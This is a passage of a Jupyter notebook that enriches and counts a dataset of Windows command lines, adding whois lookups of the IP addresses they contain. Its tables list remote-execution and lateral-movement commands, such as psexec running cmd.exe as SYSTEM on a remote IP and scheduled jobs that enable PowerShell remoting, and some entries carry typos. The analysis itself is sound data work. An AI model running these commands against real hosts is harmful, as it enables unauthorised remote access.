       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe</td>\n",
       "      <td>RUN REMOTE COMMAND AS SYSTEM</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "          Exename  \\\n",
       "0  netsh.exe        \n",
       "1  powershell.exe   \n",
       "2  at.exe           \n",
       "3  at.exe           \n",
       "4  psexec.exe       \n",
       "\n",
       "                                                                                          commandline  \\\n",
       "0  netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1                        \n",
       "1  New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i                            \n",
       "2  at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                             \n",
       "3  at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"    \n",
       "4  psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe                                                       \n",
       "\n",
       "                                            description         category  \\\n",
       "0  remove port forwarding                                MISC. COMMANDS    \n",
       "1  PERSISTENT PSDRIVE TO REMOTE FILE SHARE               POWERSHELL        \n",
       "2  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL        \n",
       "3  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL        \n",
       "4  RUN REMOTE COMMAND AS SYSTEM                          PSEXEC REMOTING   \n",
       "\n",
       "   HasIP      IPAddress  IPType  \\\n",
       "0  1      1.1.1.1        Public   \n",
       "1  1      1.1.1.1        Public   \n",
       "2  1      76.76.163.112  Public   \n",
       "3  1      76.76.163.112  Public   \n",
       "4  1      76.76.163.112  Public   \n",
       "\n",
       "                                                                                                     IPWhois  \n",
       "0  {'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}            \n",
       "1  {'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}            \n",
       "2  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}  \n",
       "3  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}  \n",
       "4  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}  "
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#Apply helper function on dataframe to populate new column IPWhois derived from existing IPAddress column\n",
    "df_publicip_filtered['IPWhois'] = df_publicip_filtered['IPAddress'].apply(ip_whoislookup)\n",
    "#Display first 5 records\n",
    "df_publicip_filtered.head(5)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Exename</th>\n",
       "      <th>commandline</th>\n",
       "      <th>description</th>\n",
       "      <th>category</th>\n",
       "      <th>HasIP</th>\n",
       "      <th>IPAddress</th>\n",
       "      <th>IPType</th>\n",
       "      <th>IPWhois</th>\n",
       "      <th>IP_country_code</th>\n",
       "      <th>IP_country_name</th>\n",
       "      <th>IP_latitude</th>\n",
       "      <th>IP_longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>netsh.exe</td>\n",
       "      <td>netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1</td>\n",
       "      <td>remove port forwarding</td>\n",
       "      <td>MISC. COMMANDS</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}</td>\n",
       "      <td>AU</td>\n",
       "      <td>Australia</td>\n",
       "      <td>-33.4940</td>\n",
       "      <td>143.2104</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>powershell.exe</td>\n",
       "      <td>New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i</td>\n",
       "      <td>PERSISTENT PSDRIVE TO REMOTE FILE SHARE</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>1.1.1.1</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}</td>\n",
       "      <td>AU</td>\n",
       "      <td>Australia</td>\n",
       "      <td>-33.4940</td>\n",
       "      <td>143.2104</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
       "      <td>AG</td>\n",
       "      <td>Antigua and Barbuda</td>\n",
       "      <td>17.0333</td>\n",
       "      <td>-61.7833</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>at.exe</td>\n",
       "      <td>at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"</td>\n",
       "      <td>TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)</td>\n",
       "      <td>POWERSHELL</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
       "      <td>AG</td>\n",
       "      <td>Antigua and Barbuda</td>\n",
       "      <td>17.0333</td>\n",
       "      <td>-61.7833</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>psexec.exe</td>\n",
       "      <td>psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe</td>\n",
       "      <td>RUN REMOTE COMMAND AS SYSTEM</td>\n",
       "      <td>PSEXEC REMOTING</td>\n",
       "      <td>1</td>\n",
       "      <td>76.76.163.112</td>\n",
       "      <td>Public</td>\n",
       "      <td>{'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}</td>\n",
       "      <td>AG</td>\n",
       "      <td>Antigua and Barbuda</td>\n",
       "      <td>17.0333</td>\n",
       "      <td>-61.7833</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "          Exename  \\\n",
       "0  netsh.exe        \n",
       "1  powershell.exe   \n",
       "2  at.exe           \n",
       "3  at.exe           \n",
       "4  psexec.exe       \n",
       "\n",
       "                                                                                          commandline  \\\n",
       "0  netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1                        \n",
       "1  New-PSJrive -Persist -PSProvider FileSjstem -Root \\\\1.1.1.1\\tools -Name i                            \n",
       "2  at \\\\76.76.163.112 time \"Powershell -Command 'Enable-PSRemoting -Force'\"                             \n",
       "3  at \\\\76.76.163.112 time+1 \"Powershell -Command 'Set-Item wsman:\\localhost\\client\\trustedhosts ''\"    \n",
       "4  psexec /accepteula \\\\ 76.76.163.112 -s cmd.exe                                                       \n",
       "\n",
       "                                            description         category  \\\n",
       "0  remove port forwarding                                MISC. COMMANDS    \n",
       "1  PERSISTENT PSDRIVE TO REMOTE FILE SHARE               POWERSHELL        \n",
       "2  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL        \n",
       "3  TUm ON POWERSHELL REMOTING (WITH VALID CREDENTIALS)   POWERSHELL        \n",
       "4  RUN REMOTE COMMAND AS SYSTEM                          PSEXEC REMOTING   \n",
       "\n",
       "   HasIP      IPAddress  IPType  \\\n",
       "0  1      1.1.1.1        Public   \n",
       "1  1      1.1.1.1        Public   \n",
       "2  1      76.76.163.112  Public   \n",
       "3  1      76.76.163.112  Public   \n",
       "4  1      76.76.163.112  Public   \n",
       "\n",
       "                                                                                                     IPWhois  \\\n",
       "0  {'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}             \n",
       "1  {'country_code': 'AU', 'country_name': 'Australia', 'latitude': -33.494, 'longitude': 143.2104}             \n",
       "2  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}   \n",
       "3  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}   \n",
       "4  {'country_code': 'AG', 'country_name': 'Antigua and Barbuda', 'latitude': 17.0333, 'longitude': -61.7833}   \n",
       "\n",
       "  IP_country_code      IP_country_name  IP_latitude  IP_longitude  \n",
       "0  AU              Australia           -33.4940      143.2104      \n",
       "1  AU              Australia           -33.4940      143.2104      \n",
       "2  AG              Antigua and Barbuda  17.0333     -61.7833       \n",
       "3  AG              Antigua and Barbuda  17.0333     -61.7833       \n",
       "4  AG              Antigua and Barbuda  17.0333     -61.7833       "
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#Apply Data wrangling to derive columns from Json response\n",
    "df = pd.DataFrame(df_publicip_filtered['IPWhois'].values.tolist())\n",
    "df.columns = 'IP_'+ df.columns\n",
    "#Concatenate 2 dataframs vertically\n",
    "result = pd.concat([df_publicip_filtered, df], axis=1)\n",
    "result.head(5)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'country_code': 'AG',\n",
       " 'country_name': 'Antigua and Barbuda',\n",
       " 'latitude': 17.0333,\n",
       " 'longitude': -61.7833}"
      ]
     },
     "execution_count": 17,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#sample Json response \n",
    "ip_whoislookup('76.76.163.112')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\"> \n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4\">\n",
    "\n",
    "# 4.Data Analysis"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.1\">\n",
    "\n",
    "### 4.1 Unique executables from the dataset"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "array(['arp.exe', 'at.exe', 'dir.exe', 'dsquery.exe', 'echo.exe',\n",
       "       'findstr.exe', 'fsutil.exe', 'powershell.exe', 'ipconfig.exe',\n",
       "       'net.exe', 'netsh.exe', 'netstat.exe', 'nslookup.exe',\n",
       "       'psexec.exe', 'reg.exe', 'route.exe', 'sc.exe', 'schtasks.exe',\n",
       "       'shutdown.exe', 'systeminfo.exe', 'taskkill.exe', 'tasklist.exe',\n",
       "       'tftp.exe', 'tree.exe', 'ver.exe', 'wmic.exe', 'xcopy.exe'],\n",
       "      dtype=object)"
      ]
     },
     "execution_count": 18,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df_orig.Exename.unique()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.2\">\n",
    "\n",
    "### 4.2 How many executables seen IP as argument ?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "1    196\n",
       "0    75 \n",
       "Name: HasIP, dtype: int64"
      ]
     },
     "execution_count": 19,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "#in the output 1 represents IP Argument presence\n",
    "df_orig['HasIP'].value_counts()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.3\">\n",
    "\n",
    "### 4.3 How many executable have Private and PublilcIP as argument ?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "Public     163\n",
       "Private    30 \n",
       "Unknown    3  \n",
       "Name: IPType, dtype: int64"
      ]
     },
     "execution_count": 20,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df_ip_filtered['IPType'].value_counts()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.4\">\n",
    "\n",
    "### 4.4 Which top 5 executable have PublilcIP as argument ?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "net.exe           29\n",
       "psexec.exe        20\n",
       "tasklist.exe      17\n",
       "reg.exe           16\n",
       "systeminfo.exe    15\n",
       "Name: Exename, dtype: int64"
      ]
     },
     "execution_count": 21,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df_publicip_filtered['Exename'].value_counts().head(5)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.5\">\n",
    "\n",
    "### 4.5 What are the top 5 Public IP Addresses in the dataset ?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "13.81.218.185    22\n",
       "104.210.48.12    22\n",
       "43.229.95.19     16\n",
       "208.91.197.27    11\n",
       "52.175.39.99     11\n",
       "Name: IPAddress, dtype: int64"
      ]
     },
     "execution_count": 22,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "result['IPAddress'].value_counts().head(5)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l4.6\">\n",
    "\n",
    "### 4.6 What are the top 5 countries in the dataset ?"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "India            35\n",
       "United States    33\n",
       "Netherlands      22\n",
       "Ireland          11\n",
       "Hong Kong        11\n",
       "Name: IP_country_name, dtype: int64"
      ]
     },
     "execution_count": 23,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "result['IP_country_name'].value_counts().head(5)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<hr style=\"border-color:royalblue;background-color:royalblue;height:1px;\">\n",
    "\n",
    "<div style=\"text-align:center; margin:40px 0 40px 0;\">\n",
    "\n",
    "[**Back to Contents**](#toc)\n",
    "</div>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l5\">\n",
    "\n",
    "# 5.Data Visualization\n",
    "\n",
    "\n",
    "<br>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<br id=\"l5.1\">\n",
    "\n",
    "### 5.1 Bar Chart of IPType"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "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9dl3332XdLxABQAAWCFbtmzJAQcckA0bNqSqZj3OXtXdufXWW7Nly5YceeSRSzqHW3wBAABWyJ133pmDDz541cVpklRVDj744GVdPRaoAAAAK2g1xuk2y/3eBSoAAMAc+drXvpYTTzwxj3jEI3LUUUflR3/0R/OFL3xhxc5/6aWX5mMf+9iKnW8hr0EFAADYQzac/oEVPd91Zzx/h9u7Oz/2Yz+Wk08+Oe95z3uSJFdddVVuuummPPKRj1yRGS699NLsv//+ecpTnrIi51vIFVQAAIA5cckll2TffffNaaedds/a4x//+DztaU/Lq171qjzmMY/JMccck/POOy/JJDaPP/74e/Z9+ctfnrPPPjtJsmHDhrzmNa/Jsccem2OOOSaf//znc9111+X3fu/38qY3vSmPf/zj85GPfGRF53cFFQAAYE589rOfzROf+MTvW3/f+96Xq666Kp/61Kdyyy235ElPelKe8Yxn7PR8hxxySK688sr87u/+bt74xjfmbW97W0477bTsv//+eeUrX7ni87uCCgAAMOc++tGP5qSTTso+++yTBz/4wfmhH/qhXH755Ts97sd//MeTJE984hNz3XXX7eEpBSoAAMDcOProo3PFFVd833p3L7r/mjVr8r3vfe+ex9t/RMx+++2XJNlnn31y9913r+CkixOoAAAAc+KZz3xm7rrrrvz+7//+PWuXX355DjrooJx33nn57ne/m61bt+ayyy7LcccdlyOOOCJXX3117rrrrtx+++25+OKLd/ocBxxwQO644449Mr/XoAIAAMyJqsr73//+vOIVr8gZZ5yRtWvXZsOGDXnzm9+cb37zm3nc4x6Xqsob3vCGPOQhD0mS/ORP/mQe+9jHZuPGjXnCE56w0+d4wQtekBe/+MW54IIL8ju/8zt5+tOfvnLz39ul3r1p06ZNvXnz5lmPAQAAsCzXXHNNHv3oR896jJla7GdQVVd096adHesWXwAAAIYgUAEAABiCQAUAAGAIAhUAAGAFjfA+P7Oy3O9doAIAAKyQtWvX5tZbb12VkdrdufXWW7N27doln8PHzAAAAKyQ9evXZ8uWLdm6deusR5mJtWvXZv369Us+XqACAACskH333TdHHnnkrMf4J8stvgAAAAxBoAIAADAEgQoAAMAQBCoAAABDEKgAAAAMQaACAAAwBB8zAwDAqnHMOcfM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